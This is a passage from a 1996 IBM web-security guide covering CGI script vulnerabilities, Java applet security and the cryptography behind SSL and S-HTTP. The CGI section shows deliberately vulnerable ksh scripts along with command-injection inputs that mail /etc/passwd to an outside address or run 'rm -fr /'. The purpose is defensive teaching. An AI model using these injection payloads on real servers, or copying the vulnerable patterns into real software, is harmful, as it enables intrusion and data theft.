does not only gain access to the protected documents on the server, but also
gets hints to use for breaking into other, perhaps more sensitive, systems.
What should you do to counter this threat?
1. As the administrator of a server, you should make sure that you properly
assess the risk to your business of user IDs being compromised. You should
be especially careful of user IDs that give access to administrative functions,
such as the configuration forms for the IBM Internet Connection Secure
Server. It is a good policy to only ever access the webadmin ID across a
secure network connection, or to only use it for initial setup and make
subsequent modifications to configuration files by hand.
2. As a user of the World Wide Web you will find cases where you will be
prompted for a user ID and password. In some cases these are not used as
a means of protection, but just to keep track of visitors to the site. Whatever
the reason, you should never use a password that is the same or similar to
any system password you have access to.
The real solution to the fragility of basic authentication is to use cryptographic
techniques. We will discuss these later in the book.
26
Safe Surfing: How to Build a Secure WWW Connection
Chapter 3. Execution Can Be Fatal: CGI Scripts and Java
One of the biggest threats to Web servers are CGI (Common Gateway Interface)
scripts. As we described in 1.2.1.1, “Two-Way Traffic: The Common Gateway
Interface” on page 5, the Common Gateway Interface allows you to receive data
from a user, process it and respond to it. The CGI is therefore critical to the
interactive nature of the Web.
When written without proper precautions, CGI scripts can execute unauthorized
commands on the server. The problem arises because users can enter any kind
of data into forms that are processed by CGI scripts. If this data is passed on
unchecked to other commands then there is a chance that the data itself might
be interpreted as commands.
Typically the eval shell command, system() and popen() C library calls as well as
the system(), open() and exec() PERL library calls are vulnerable to this type of
attack on AIX. In addition, harmless-looking commands such as mail can have
escape mechanisms that are easy to exploit.
OS/2 has the same C library calls, and the REXX INTERPRET command performs
the same function as eval in AIX. It is tempting to think that the impact of
misuse of these functions is smaller in OS/2 because it is a simpler, single user
system. However, an expert could probably do as much damage to an OS/2
server by exploiting a badly designed CGI program as to an AIX system.
Furthermore, the lack of auditing in OS/2 would make such an attack more
difficult to detect.
3.1 Examples of CGI Programming Problems
The following example CGI scripts show three problems when using the Korn
shell to program CGI scripts. They are meant to illustrate the general problem,
not as real examples.
3.1.1 CGI Example: Use of the eval Command
The script in Figure 12 does not do anything useful; it just runs the echo
command. However any other command could be substituted, for example to
run a telephone directory search.
#!/usr/bin/ksh
PATH=/usr/lpp/internet/server_root/cgi-bin:/usr/bin
echo
echo
echo
echo
echo
″Content-type: text/html\n\n″
″<HTML>″
″<HEAD><TITLE>Phonebook Search results</TITLE></HEAD>″
″<BODY>″
″<p>″
eval $(cgiparse -form)
echo ″<pre>″
eval /usr/bin/echo $FORM_query
echo ″</pre>″
echo ″</BODY></HTML>″
Figure 12. bad-form-2 Script to Show a Loophole in the CGI Process
 Copyright IBM Corp. 1996
27
Figure 13 on page 28 shows a corresponding HTML form that would invoke the
bad-form-2 script.
<HTML>
<TITLE>Form/CGI Shell Test 2</TITLE>
<BODY>
<P>
<h2>Check the Phone book</h2>
<form method=″POST″ action=″ / cgi-bin/bad-form-2″>
<p>
<pre>
Search for: <INPUT TYPE=″text″ NAME=″query″ SIZE=″40″ MAXLENGTH=″80″>
</pre>
<p>
<INPUT TYPE=″submit″>
</form>
</body>
</HTML>
Figure 13. HTML Form to Invoke Script bad-form-2
The flaw in the script lies in the fact that it runs the command, not directly, but
by using the eval command. The eval command is a very useful utility that tells
the command shell: ″interpret this string in the usual way and then execute the
results″. It is useful because often you do not have all the information necessary
to construct a command directly, so you first need to run a command to
construct the command that you really want to run.
If the user enters the string:
foobar ; mail [email protected] < /etc/passwd
the password file will get mailed to the E-mail address specified. The eval
statement will evaluate its command line in exactly the way the shell would
evaluate it. The ″;″ character is a command separator. This will lead to two
commands being executed. One could also use the ″&″ character, it would have
the same effect. Sending /etc/passwd is not as serious in AIX as it sounds,
since the real password file is shadowed and only the root ID has access.
However an attacker could turn really nasty and try a command such as rm -fr
/ instead or something similar. Depending on the setup of the system the script
can do quite a bit of damage even on an otherwise secure system.
Although this example looks like nonsense, the mechanisms used here are the
focal point. There are occasionally good reasons to use eval to get the data
back into the shell and not only to stdout. By using eval and not first checking
the contents of the data it is very easy for the user to give the script an
additional command to execute.
The eval statement in the shell is a common shell programming technique,
although it does not always have such a drastic result. Using popen() or
system() in a C or PERL program will have exactly the same effect, and REXX on
OS/2 has the INTERPRET command which may be misused in exactly the same
way.
28
Safe Surfing: How to Build a Secure WWW Connection
3.1.2 CGI Example: Weakness in Called Programs
Apart from having to worry about the misuse of statements within a CGI script,
you also need to know all the details of programs called from a CGI script. If
data is passed to another command that has escape mechanisms then those
mechanisms should be disabled or the data must be checked before it is passed
to the command.
For example the standard UNIX mail command will allow the execution of other
programs via the ∼ ! sequence at the beginning of a line. The CGI script in
Figure 14 may be abused by an attacker to exploit this mechanism.
#!/usr/bin/ksh
eval $(/usr/lpp/internet/server_root/cgi-bin/cgiparse -form)
echo
echo
echo
echo
echo
echo
echo
echo
″Content-type: text/html″
″″
″<HTML>″
″<HEAD><TITLE>Order confirmation</TITLE></HEAD>″
″<BODY>″
″<H1>Thank you for ordering $FORM_qty $FORM_item</H1>″
″<pre>″
″</body> </html>″
mail -s ″Order received″ [email protected] <<EOF
Received an order
$FORM_name
$FORM_surname
$FORM_item
$FORM_qty
$FORM_comment
EOF
Figure 14. bad-form-1 Script to Show a Loophole in the CGI Process
Figure 15 on page 30 shows a typical HTML form that could be used to invoke
this script.
Chapter 3. Execution Can Be Fatal: CGI Scripts and Java
29
<HTML>
<TITLE>Frobnotz Ordering</TITLE>
<body>
<P>
<h2>Please fill out the order form</h2>
<form method=″POST″ action=″ / cgi-bin/bad-form-1″>
<p><pre>
Your Name:
<INPUT TYPE=″text″ NAME=″name″ SIZE=″20″ MAXLENGTH=″30″>
Your Surname: <INPUT TYPE=″text″ NAME=″surname″ SIZE=″20″ MAXLENGTH=″30″>
</pre>
<p>
<dl>
<dt>What would you like to order?
<dd><INPUT TYPE=″radio″ NAME=″item″ VALUE=″FreshFrobnotz″>Fresh frobnotz
<dd><INPUT TYPE=″radio″ NAME=″item″ VALUE=″AgedFrobnotz″>Aged frobnotz
<dd><INPUT TYPE=″radio″ NAME=″item″ VALUE=″FreshDingbats″>Fresh dingbats
<dd><INPUT TYPE=″radio″ NAME=″item″ VALUE=″AgedDingbats″>Aged dingbats
</dl>
<pre>
Quantity <INPUT TYPE=″text″ NAME=″qty″ SIZE=″5″ MAXLENGTH=″5″>
</pre>
<p><pre>
Additional comments:
</pre>
<INPUT TYPE=″text″ NAME=″comment″ SIZE=″40″ MAXLENGTH=″100″>
<p>
<INPUT TYPE=″submit″>
</form></body></HTML>
Figure 15. HTML Form to Invoke CGI Script bad-form-1
The bad-form-1 script passes form data unchecked to the body of a mail
message. All that an attacker has to do is type something like the following into
any of the form fields:
∼ !mail [email protected] < /etc/passwd
and again the /etc/passwd file has been stolen. You may think that this example
is very trivial, but you will find similar examples in many Web sites, and even in
HTML guide books.
On AIX 4.1.4 the shell escape should no longer work when the mail command is
executed in a pipe. The principal problem still persists though; you should not
pass unchecked data to commands that have escape mechanisms.
3.1.3 CGI Example: You Cannot Rely On Your Own Forms Being Used
The above examples used invalidated user data in places where it should not be
used. Clearly you should perform data validation within the CGI script. One
thing you should not do is rely on the HTML form that invokes the script to
restrict data content.
For example, you may have a field in your form that is a set of radio buttons.
You might reasonably assume in your CGI script that the field can only have the
values you defined in the form. However, the URL for a script may be invoked
from a form on any Web server, so someone could substitute any kind of data
entry field for the radio buttons.
Another trick that is often used to pass static data to a CGI script is to use a
hidden field on your form. This may simply be a way to set up static variables
for a general-purpose CGI script to use, or it may be used to pass data from one
CGI script to another. That is, script A generates a piece of data and then writes
its output as an HTML form, which includes the data in a hidden field. The user
30
Safe Surfing: How to Build a Secure WWW Connection
fills in this second form and selects Submit, thereby invoking script B. Script B
now has access to the data from the screen as well as the data that script A
generated.
Hidden fields used in this way should be validated at each stage, even if you
think they have just been created by your own CGI script. A script can be called
from any form, even from other servers, so anyone can write a form that triggers
your scripts, and pass whatever data they like.
For example let′s assume your script contains the following line:
<input type=″hidden″ name=″MyAddress″ VALUE=″[email protected]″>
This hidden data contains the E-mail address that the CGI program will use to
send a message to you when a user enters some interesting data. For example
it might include the following piece of C code (this is only a fragment):
sprintf(buf,″ / usr/sbin/sendmail -t %s < %s″ , FORM_MyAddress,SomeInputFile);
system(buf);
What happens if someone uses a changed form as input to your script? For
example:
<input type=″hidden″ name=″MyAddress″
VALUE=″[email protected] ; mail [email protected] < /etc/passwd ″>
The command line passed to the system call will run two commands, the second
one with rather vicious motives.
3.2 CGI Exposures in Summary
The above examples have been constructed for this document. But they are just
simplified examples of bad CGI programming techniques that have been found
on production Web servers on the Internet. We strongly suggest you analyze
every CGI script on the server for possible weaknesses such as the ones
described above.
You should never import CGI scripts from some unchecked source just because
they fit your current needs. Make sure you understand them completely and all
their security implications before using them.
It is usually easier to write CGI scripts with shells or interpreters like PERL or
REXX, but using compiled C language scripts will typically have less security
problems. Apart from the popen() and system() subroutines there are not as
many potential trouble spots in data interpretation when using compiled
programs as there are in interpreted scripts. The only C specific problem that
stands out is that of buffer overruns. There have been several incidents on the
Net where overrunning input buffers of C programs caused the system to
execute code that was imported by overrunning the buffer. Although that type of
attack is very operating system and hardware-specific, there were cases of
automatic break-in kits for some specific architectures.
Having an interpreter that allows low level system access (such as PERL) on a
security critical system makes it much easier to exploit otherwise less
accessible holes.
Chapter 3. Execution Can Be Fatal: CGI Scripts and Java
31
3.3 Java
CGI programming is what gives the Web an interactive quality and allows
transactional applications to be written. Java takes the World Wide Web on the
next step down the road of interactivity. In fact some people would argue that
Java introduces a completely new paradigm to network-centric computing: a
world which combines the benefits of distributed processing with the benefits of
centralized code and data maintenance.
For now, though, Java is mostly used for doing cool things on a Web browser.
3.3.1 What Is Java?
Java itself is a programming language, developed by Sun Microsystems. It is
object-oriented, and was designed to be a close cousin of C and C++, but
easier to program, more portable and more robust. The authors have done an
excellent job of removing the features in C++ that give programmers sleepless
nights, yet retaining good functionality.
The features of Java that are especially important in the Web environment are:
Portability Java is a compiled language, but unlike other languages it does not
compile into machine instructions, but into architecture-neutral byte
codes . This means that the same program will run on any system
that has the Java run-time environment, regardless of the operating
system or hardware type.
Thread Support Java has multithread support built in to it, making it very
effective for dynamic applications and multimedia.
Memory Management Java does require the programmer to perform any
memory allocation, it handles it automatically. It also does not
provide any pointer data types, so it is impossible for a program to
attempt to read or write from unallocated memory. These are
probably the two most pervasive causes of program failures in
conventional languages. Apart from the fact that this makes the
language more robust, it also removes a potential security exposure.
A favorite attack technique in conventional languages is to find code
errors that allow sensitive data to be overidden.
Code Verification In a more conventional programming language, it is possible
for the program to alter execution and data address pointers at run
time. In Java this is not allowed, all references are made by name.
This means that it is possible to verify in advance whether a program
is doing anything you do not want it to.
3.3.2 Java in the World Wide Web
Java on its own would be just another, rather interesting, programming
language. It is when it is combined with the HotJava Web browser that it really
comes into its own. HotJava is Sun Microsystems′ browser that contains the
Java run-time environment combined with conventional Web browser function.
The Java code has been licensed by several other browser manufacturers,
including IBM, Netscape and Microsoft (note that Netscape also provides another
client-side execution language named JavaScipt, which despite its name is not
directly related to Java).
32
Safe Surfing: How to Build a Secure WWW Connection
Special new HTML tags allow you to specify in a document a small Java
program, called an applet to be sent to the browser and executed. The HotJava
run-time environment provides access to the client machine′s facilities, such as
graphics, sound and network access. The Java language itself provides object
class libraries that allow you to write simple programs that exploit these
resources. The end result is greatly enhanced Web document content, for
example animation and dialogs with local response times.
3.3.3 Java Security
If you are even slightly paranoid about Internet security, Java should make you
nervous. Having a powerful programming language available on your browser
for any server to use sounds like a recipe for disaster. Fortunately, the
designers were alert to the potential for security problems when they created
Java. It has built-in facilities to prevent an applet from damaging or accessing
private parts of the file system, memory or network of a browser machine. The
programming language itself is also designed to prevent an unscrupulous
programmer from extending its capabilities and so circumvent the security
limitations. The main point of control lies in the code verification capability that
we described above. Figure 16 shows the sequence of events that go into
loading an applet.
Figure 16. Compiling and Loading an Applet
Chapter 3. Execution Can Be Fatal: CGI Scripts and Java
33
1. The compilation step can take place at any time before the applet is
requested. It results in a byte-code program, suitable for any Java
environment. Note that at this point there are no restrictions to what the
programmer can code. He can use any of the Java object classes or derive
his own subclasses if he wishes.
2. The browser invokes an HTML page containing an applet tag, causing the
byte-code program to be transmitted.
3. The byte code is checked to ensure that it does not violate any of the
restrictions imposed by the browser. Because of the way the language is
designed there is no way for a programmer to disguise a dangerous action
as legitimate code.
4. Only when the verification has succeeded is the program passed to the Java
run time for execution.
The limitations imposed by the verification step are browser-specifc, but they
always include:
•
Writing to files is forbidden.
•
Reading from files is heavily restricted.
•
Executing operating system commands and invoking dynamic load libraries
are forbidden.
•
Network access is restricted. Java includes object classes for retrieving
image data, defined as URLs. Usually the browser will restrict these to URLs
on the applet host itself (that is, the server from which the applet was
originally loaded).
You can see that Java has a well thought-out security structure. Nonetheless,
Java should still be treated with suspicion from a security standpoint, for the
following reasons:
•
The Java process itself may be totally secure, but it relies on the browser
configuration to provide such things as access controls. It is therefore
imperative that Java is properly integrated into the browser.
•
It is important to ensure that there are no situations in which other client
facilities can inadvertently provide Java with access to restricted resources.
•
The Java run-time code is a relatively large set of programs. In any program
of that complexity, there will certainly be bugs and security holes which an
attacker could exploit.
At the time of writing, several flaws had been found in the Java applet security
mechanisms. One example is a weakness against IP address spoofing.
Figure 17 on page 35 illustrates the problem. It relies on an attacker machine
being able to send subverted DNS updates that identify its real IP name as an
alias for an IP address of a server inside the firewall. The Java applet then
specifies a URL on the subverted address, and so gains access to data on the
internal server.
34
Safe Surfing: How to Build a Secure WWW Connection
Figure 17. A Java Security Exposure
This particular problem was fixed very rapidly in Netscape Navigator and Sun
HotJava, but you can expect many more similar exploits to be discovered, as
people start to scrutinize Java′s defences. Java has also suffered by
association, as a result of some well-publicized security loopholes Netscape
JavaScript.
We do not suggest that any of these threats should prevent you from benefitting
from these new Web services. However, we strongly suggest you to be cautious
in setting up Web clients for new data types. Assess the potential for damage
before introducing them. Users, also, should be wary. Looking at URLs before
following them should become a habit when working with external servers. For
the future, authentication mechanisms may provide some assurance that a Java
applet is acceptable, but some risk is sure to remain.
Chapter 3. Execution Can Be Fatal: CGI Scripts and Java
35
36
Safe Surfing: How to Build a Secure WWW Connection
Chapter 4. A Tangled Web: SSL and S-HTTP
We have seen in Chapter 2, “Be Careful Who You Talk To: HTTP Basic Security”
on page 7 that a standard World Wide Web server can give us some degree of
access control. However, this does little to deter the cyberpunks who are out
there listening to and meddling with our connections. Referring back to 1.1.1,
“Security Objectives” on page 2, we are aiming for some or all of the following:
•
Authentication
•
Integrity
•
Accountability
•
Privacy
A great deal of effort has gone into producing protocols for securing World Wide
Web communications. Although none of these protocols is a completely stable
standard yet, some of them are widely implemented. Other protocols are still at
the experimental or development stage. The protocols also differ in their
objectives; some are simply for securing a client/server connection, while others
are designed specifically for electronic payments, using a three-party
authentication and verification scheme. Table 1 describes some of the protocols
you are most likely to hear about.
 Copyright IBM Corp. 1996
Protocol
Description
SSL
SSL is the Secure Sockets Layer, written by Netscape
Communications Corporation. It provides a private channel
between client and server which ensures privacy of data,
authentication of the session partners and message integrity.
PCT
PCT is the Private Communication Technology protocol proposed by
Microsoft Corporation. PCT is a slightly modified version of SSL
which addresses some potential problems in the areas of
performance of key usage. The Internet Engineering Task Force
(IETF) has announced a plan to merge the SSL and PCT
technologies under a project named Secure Transport Layer (STL).
S-HTTP
S-HTTP is the Secure Hypertext Transfer Protocol, developed by
Enterprise Integration Technologies (EIT). It uses a modified
version of HTTP clients and server to allow negotiation of privacy,
authentication and integrity characteristics.
SHEN
SHEN is a security scheme for the World Wide Web from the
European Laboratory for Particle Physics (CERN). The emphasis in
the development of SHEN was to re-deploy existing standards
wherever possible. There are no commercial implementations of
SHEN at present.
STT
STT is the Secure Transaction Technology protocol. It is a
standard developed jointly by Microsoft Corporation and Visa
International to enable secure credit card payment and
authorization over the World Wide Web. STT is superceded by SET
(see below).
SEPP
Secure Electronic Payment Protocol (SEPP) is another electronic
payments scheme, sponsored by MasterCard and developed in
association with IBM, Netscape, CyberCash and GTE Corp. SEPP is
superceded by SET (see below).
37
Protocol
Description
SET
Secure Electronic Transactions (SET) is the strategic electronic
payments scheme proposed jointly by MasterCard and Visa. It can
be thought of as a combination of elements of SEPP and STT.
Table 1. Some World Wide Web Security Protocols
In this book we deal with the three most important protocols, SSL, S-HTTP and
SET. Chapter 6, “Money Makes the Web Go Round: Secure Electronic
Transactions” on page 77 describes, at a high level, the operation of the
proposed SET protocol. In this chapter we will deal in some detail with the
protocols implemented in the IBM Internet Connection family of products, namely
SSL and S-HTTP. We will first consider some of the cryptographic techniques
used by these protocols, then we will describe how SSL and S-HTTP work and
finally show examples of HTML coding that invokes them.
More Information About Secure Protocols
If the particular set of initials that you are interested in are not shown in this
table, look at Appendix B, “Alphabet Soup: Some Security Standards and
Protocols” on page 147.
There are also plenty of sources of information on the World Wide Web. For
example, http://www.eit.com/projects/s-http discusses S-HTTP and
http://home.netscape.com/newsref/std/SSL.html deals with SSL.
A good jumping-off point to reach these pages and other WWW protocol
specifications is http://www.w3.org. This is the home page for the World
Wide Web Consortium, the organization that promotes the Web by producing
specifications and reference software.
4.1 Cryptographic Techniques
Both SSL and S-HTTP make use of several different cryptographic protocols to
perform their task. Needless to say, these protocols are known by a dizzying
array of initials and acronyms many of which are listed in Appendix B,
“Alphabet Soup: Some Security Standards and Protocols” on page 147.
However, the protocols are all variations of the following three techniques:
•
Symmetric-key encryption
•
Public-key encryption
•
Hashing functions
We describe each of these techniques below.
4.1.1 Symmetric-Key Encryption
Symmetric-Key encryption (also sometimes called bulk encryption) is what most
people think of as a secret code. The essence of a symmetric-key system is that
both parties must know a shared secret . The sending party performs some
predefined manipulation of the data, using the shared secret as a key. The
result is a scrambled message which can only be interpreted by reversing the
encryption process, using the same secret key. A good example of a
symmetric-key encryption mechanism was the Enigma system used in World War
II. In that case the manipulation was performed by an electro-mechanical
38
Safe Surfing: How to Build a Secure WWW Connection
machine and the key was a series of patch panel connections. The key was
changed at regular intervals, so there was a fresh challenge for the code
breakers every few weeks.
Using modern computer systems, symmetric-key encryption is very fast and
secure. Its effectiveness is governed by two main factors:
•
The size of the key. All symmetric-key algorithms can be cracked, but the
difficulty of doing so rises exponentially as the key size increases. With
modern computers there is no problem in encrypting with keys which are
large enough to be impossible to economically crack. However, the U.S.
Government imposes restrictions on the export of cryptographic code. You
need to ask for a licence from the National Security Agency (NSA) to export
any symmetric-key cryptographic product. The NSA will only grant export
licences for general use if the cipher is weaker than an NSA-defined,
arbitrary, strength. In the case of the RC2 and RC4 ciphers this means using
a key size of 40 bits. There have been recent demonstrations to show that
encryption crippled in this way can be broken with a relatively small
investment of equipment and time (you can read the details of one of these
demonstrations at http://www.brute.cl.cam.ac.uk/brute/hal2.html).
•
The security with which the key is disseminated and stored. Since both
partners in a symmetric-key system must know the secret key, there has to
be some way for it to be transmitted from one to the other. It is therefore
vital to protect the key transmission and also to protect the key when it is
stored on either of the partner systems.
The most commonly used symmetric-key encryption methods are:
•
The Data Encryption Standard (DES). This was defined as a standard by the
US Government in 1977 and was originally developed by IBM research. The
DES standard operates on data in 64-bit blocks, using a 56-bit encryption key.
The basic DES algorithm can be applied in several variations. The most
common one is Cipher Block Chaining (DES-CBC) in which each 64-bit block
is exclusive-OR′d with the previous encrypted block before encryption.
There is also a variant called triple-DES in which DES is applied three times
in succession using either two or three different keys. The NSA places very
stringent controls on the issuing of export licenses for DES. There are
normally no problems in obtaining licenses for reputable financial institutions
and subsidiaries of US companies, but other organizations have to go
through a long justification process. The US government plans to phase out
DES and replace it with a more secure cipher named Skipjack. However,
there is little pressure for commercial organizations to make this transition,
at least for as long as no economical way to crack DES is demonstrated.
Paranoia and DES
There is a widespread and persistent rumor that the NSA built a ″back
door″ in DES, to enable them to snoop on DES-encrypted transmissions.
If this loophole exists, it has proved remarkably difficult to prove it.
Nonetheless, it is one of the reasons why support has been, at best,
lukewarm for the NSA proposals for Skipjack and the Clipper chip (a
tamper-proof device that implements Skipjack).
•
RC2 and RC4 from RSA Data Security Inc. The RCx ciphers are
symmetric-key algorithms that are designed to provide an alternative to DES.
They have the dual advantages of executing faster than DES and also
Chapter 4. A Tangled Web: SSL and S-HTTP
39
permitting the use of a range of key sizes. It is possible to get unrestricted
export licenses for the RCx ciphers using 40-bit (or less) keys.
•
International Data Encryption Algorithm (IDEA). IDEA is another symmetric
block-cipher in the mould of DES. IDEA also encrypts in 64-bit blocks, but it
has a larger, 128-bit, key. Some people prefer IDEA because it is not a
government-imposed standard. However, it still comes under the NSA
export restrictions, even though it was not originally developed in the US.
The Pretty Good Privacy (PGP) encryption system uses IDEA. PGP is freely
available, which is why its creator, Phil Zimmermann, is not very popular in
government circles.
4.1.2 Public-Key Encryption
It is quite easy to understand how a symmetric-key algorithm works, at least at
an intuitive level. Public-key systems are more difficult to envision although they
are not necessarily any more complex, mathematically speaking. Instead of
having one, shared key a public-key system has a key pair , comprised of a
public and a private component. As the names suggest, the private key is a
secret known only by its owner, while the public key is made generally available.
The cunning part is this: anything encrypted using one half of the key can only
be decrypted using the other half. Figure 18 on page 41 illustrates this.
40
Safe Surfing: How to Build a Secure WWW Connection
Figure 18. Public-Key Cryptography
What can we do with this technique? The first flow shown in Figure 18 is used to
give data privacy, since the encrypted data can only be interpreted by the target
system (the owner of the private key). The second flow does not guarantee
privacy, since we have said that the public key is known to anyone. What it does
give us, however, is a method to authenticate the sender, because only the
owner of the private key could have encrypted the data.
Public-key cryptography algorithms tend to be much less efficient than
symmetric-key systems in terms of the computing power they consume. On the
other hand they do not suffer from key distribution problems. Public-key systems
are often employed in combination with symmetric-key systems, being used for
distributing keys and authentication purposes, but leaving the bulk encryption job
to the symmetric-key cipher.
The only public-key cryptography system commonly used is the RSA algorithm,
patented by RSA Data Security Inc. You can find a description of RSA in the
RSA frequently asked questions pages at http://www.rsa.com/rsalabs/faq.
Chapter 4. A Tangled Web: SSL and S-HTTP
41
4.1.3 Secure Hash Functions
We have seen how public-key and symmetric-key cryptography techniques can
provide data privacy and sender authentication. The elements remaining in our
wish list are integrity and accountability (see 1.1.1, “Security Objectives” on
page 2). The techniques usually used to implement these features are hashing
or message digest algorithms. The principal attributes of a secure hashing
function are the following:
1. It is a one-way process. That is, it is impossible (or at least extremely
difficult) to reconstruct the original data from the hashed result.
2. The hashed result is not predictable. That is, given one set of source data it
is extremely difficult to find another set of data with the same hashed result.
You can compare the process to mashing a potato. No two potatoes will
produce exactly the same heap of mash, and you cannot recreate the original
potato after you have mashed it.
How can we use these functions to our advantage? Say the sender of a
message includes a hashed digest of the message in the transmission. When
the message arrives, the receiver can execute the same hash function and
should get the same digest. If the two digests do not match, it indicates that the
message may have been altered in transit and should not be trusted. Thus we
have achieved our integrity objective. For the question of accountability, we
need to combine a hashing algorithm (to ensure the integrity of a package) with
public-key encryption (to assure the identity of the session partners) and place a
time stamp in the source data.
The following secure hash functions are in general use:
•
MD2 and MD5 from RSA Data Security Inc (MD stands for Message Digest).
MD5 is the most commonly used of the two. MD2 and MD5 produce a 128-bit
digest.
•
Secure Hash Standard (SHS) which has been adopted by the US Government
as a standard. It generates a 160-bit digest, so it may be more secure than
MD5 (but no successful attack on MD5 has ever been demonstrated).
4.1.4 Combining Cryptographic Techniques
The three general mechanisms described above, symmetric key encryption,
public key encryption and secure hash functions have specific qualities and
uses. However they are seldom used alone. Most real-life implementations
make use of combinations of the three facilities. For example:
•
Symmetric key encryption is a very efficient way to encrypt large quantities
of data, but the problem of securely distributing the shared key can make it
difficult to use. By contrast, public key encryption does not suffer from the
the key distribution problem, but it is inefficient for bulk data. Protocols
therefore frequently use a public key mechanism to securely distribute a
shared key and then use that key in a symmetric key algorithm for the real
session data.
•
Public key cryptography is often used together with a secure hash algorithm
as a digital signature . The sender creates a digest of the message and then
encrypts the digest using its private key. The receiver can use the public
key to derive the digest and then check that the digest is correct. This tells
the receiver two things:
1. The message really came from the sender (authentication)
42
Safe Surfing: How to Build a Secure WWW Connection
2. The message was not altered (integrity)
It is also resistant to man in the middle types of attack. Using an
unencrypted digest someone could sit between the sender and receiver and
alter messages, recreating an acceptable digest by using the hashing
function.
4.2 An Introduction to SSL and S-HTTP
In this section we will describe, at a high level, how SSL and S-HTTP operate
and contrast the two protocols. If you want to understand them in greater detail
you should check the Web sites listed in Appendix B, “Alphabet Soup: Some
Security Standards and Protocols” on page 147.
4.2.1 SSL
As its name suggests, the Secure Sockets Layer provides an alternative to the
standard TCP/IP socket API which has security implemented within it. The
advantage of this scheme is that, in theory, it is possible to run any TCP/IP
application in a secure way without changing it. In practice, SSL is only widely
implemented for HTTP connections, but Netscape Communications Corp. has
stated an intention to employ it for other application types, such as NNTP and
Telnet, and there are several such implementations freely available from the
Internet.
There are two parts to the SSL standard:
1. A protocol for transferring data using a variety of predefined cipher and
authentication combinations, called the SSL Record Protocol . Figure 19 on
page 44 illustrates this, and contrasts it with a standard HTTP socket
connection. Note that in this diagram we have shown SSL as providing a
simple socket interface, on which other applications can be layered. In
reality, current implementations have the socket interface embedded within
the application and do not expose an API that other applications can use.
2. A protocol for initial authentication and transfer of encryption keys, called the
SSL Handshake Protocol .
Chapter 4. A Tangled Web: SSL and S-HTTP
43
Figure 19. Comparison of Standard and SSL Sessions. The TCP port numbers used, 80
and 443, are the well known ports for the HTTP and SSL standards, but any unused port
may be substituted.
An SSL session is initiated as follows:
44
•
On the client (browser) the user requests a document with a special URL
which commences https: instead of http:, either by typing it into the URL
input field, or by clicking on a link.
•
The client code recognizes the SSL request, and establishes a connection
through TCP port 443 to the SSL code on the server.
•
The client then initiates the SSL handshake phase, using the SSL Record
Protocol as a carrier. At this point there is no encryption or integrity
checking built in to the connection.
Safe Surfing: How to Build a Secure WWW Connection
4.2.1.1 The SSL Handshake Protocol
The objectives of the SSL handshake are:
1. To establish the identity of the server and, optionally, the client
2. To establish a symmetric encryption key for the remainder of the session
3. To do these things in a secure way
Figure 20 shows the main elements of the handshake. We have omitted the
client authentication components for clarity. At the time of writing, currently
available SSL products did not implement client authentication, but it was
implemented by beta versions of the next generation of Netscape browsers and
servers, due for general availability in mid-1996.
Figure 20. The SSL Handshake Protocol
Chapter 4. A Tangled Web: SSL and S-HTTP
45
You will see that the server public key is transmitted in a certificate. A
public-key certificate is a way in which a trusted third party can vouch for the
authenticity of a public key. We will discuss certificates and how to manage
them in Chapter 5, “A Web of Trust: Managing Encryption Keys” on page 65.
Following the handshake, both session partners have generated a master key.
From that key they generate other session keys , which are used in the
symmetric-key encryption of the session data and in the creation of message
digests. The first message encrypted in this way is the finished message from
the server. If the client can interpret the finished message it means:
•
Privacy has been achieved, because the message is encrypted using a
symmetric-key bulk cipher (such as DES or RC4).
•
The message integrity is assured, because it contains a Message
Authentication Code (MAC), which is a message digest of the message itself
plus material derived from the master key.
•
The server has been authenticated, because it was able to derive the master
key from the pre-master key. As this was sent using the server′s public key,
it could only have been decrypted by the server (using its private key). Note
that this relies on the integrity of the server′s public key certificate.
The WWW document itself is then sent using the same encryption options, with a
new set of session keys being calculated for each new message.
Note
This is a highly simplified version of SSL. In reality it contains numerous
other details that counter different types of attack. Refer to the specification
at http://home.netscape.com/newsref/std/SSL.html if you want to know more.
Obviously, the handshake and the many cryptographic processes it involves is
quite an overhead to both client and server. To reduce this overhead, they both
retain a session identifier and cipher information. If a subsequent document
request occurs, they will resume the SSL connection using the previous master
key.
4.2.1.2 SSL and Client Authentication
We have said that SSL does define a process for client authentication (that is, a
way for a client with a public key to prove its identity to the server). This is not
currently implemented in any server or browser products.
However, one thing that SSL can do for us in this area is to make the basic
authentication scheme more secure. We showed in 2.3, “How Secure Is HTTP
Basic Authentication?” on page 24 that basic authentication does not protect the
user ID and password in transit. If we wrap the basic authentication flow in an
SSL encrypted connection, this weakness disappears. We still have the general
unreliability of password-based systems to contend with, but nonetheless the
process is much more secure.
46
Safe Surfing: How to Build a Secure WWW Connection
4.2.2 S-HTTP
S-HTTP is a secure variant of http developed by Enterprise Integration
Technologies (EIT) and made available in a software development toolkit by
Terisa Systems.
At a high level S-HTTP operates in a similar way to SSL. That is, there is an
initial setup phase, equivalent to the SSL handshake, during which cryptographic
options are negotiated, and then the data transfer is performed using those
options. There are some important detail differences, however.
First, S-HTTP does not attempt to isolate the application layer from the secure
channel, but instead is defined as enhancements to the existing HTTP protocol.
Figure 21 shows where the S-HTTP code is situated.
Figure 21. How S-HTTP Fits Into a WWW Connection. Compare this to Figure 19 on
page 44 to see how S-HTTP differs in its implementation from SSL.
The negotiation phase is different too. Instead of a special sequence of
handshake messages, the negotiation exchanges in S-HTTP are enclosed in the
message header of normal HTTP requests. For example, the client may send a
GET request with cryptography options enclosed. The server knows that it is to
be handled by S-HTTP because the URL starts with shttp: instead of http:. The
S-HTTP code then gets control and responds with its side of the negotiation.
In this S-HTTP negotiation phase, the client and server exchange messages
detailing what cryptographic features they will accept. One of the following three
conditions can be specified for each entity:
Optional
The negotiator can accept this feature but does not require it.
Required
The negotiator will not accept a connection without this feature.
Refused
The negotiator will not accept, or cannot handle, this feature.
Each of these conditions may be specified for each direction of the session.
Direction is expressed as originated , meaning from the negotiator to the other
party, or received . This can cause some confusion, because originated in a
negotiation message from the client is received from the servers point of view.
Chapter 4. A Tangled Web: SSL and S-HTTP
47
So far we have only referred to mysterious ″cryptographic features″. What we
mean by this is the different protection methods and formats to be employed. To
appreciate the meaning of the cryptographic features, let us draw an analogy.
Imagine you want to send a gift to your mother, using the mail service. You
could just stick a stamp and address label on it and drop it in a mail box. More
likely, though, you would do the following:
•
You would wrap the gift in brown paper, to prevent prying eyes from seeing
what it is.
•
You would enclose a letter, and sign it, so your mother knew it came from
you.
•
If it was valuable you might seal the package so you would know if someone
had tampered with it.
S-HTTP takes exactly this approach with data, using symmetric-key encryption
for the brown paper, public-key encryption for the signed letter and hashing
functions for the seal. It allows any combination of these three options.
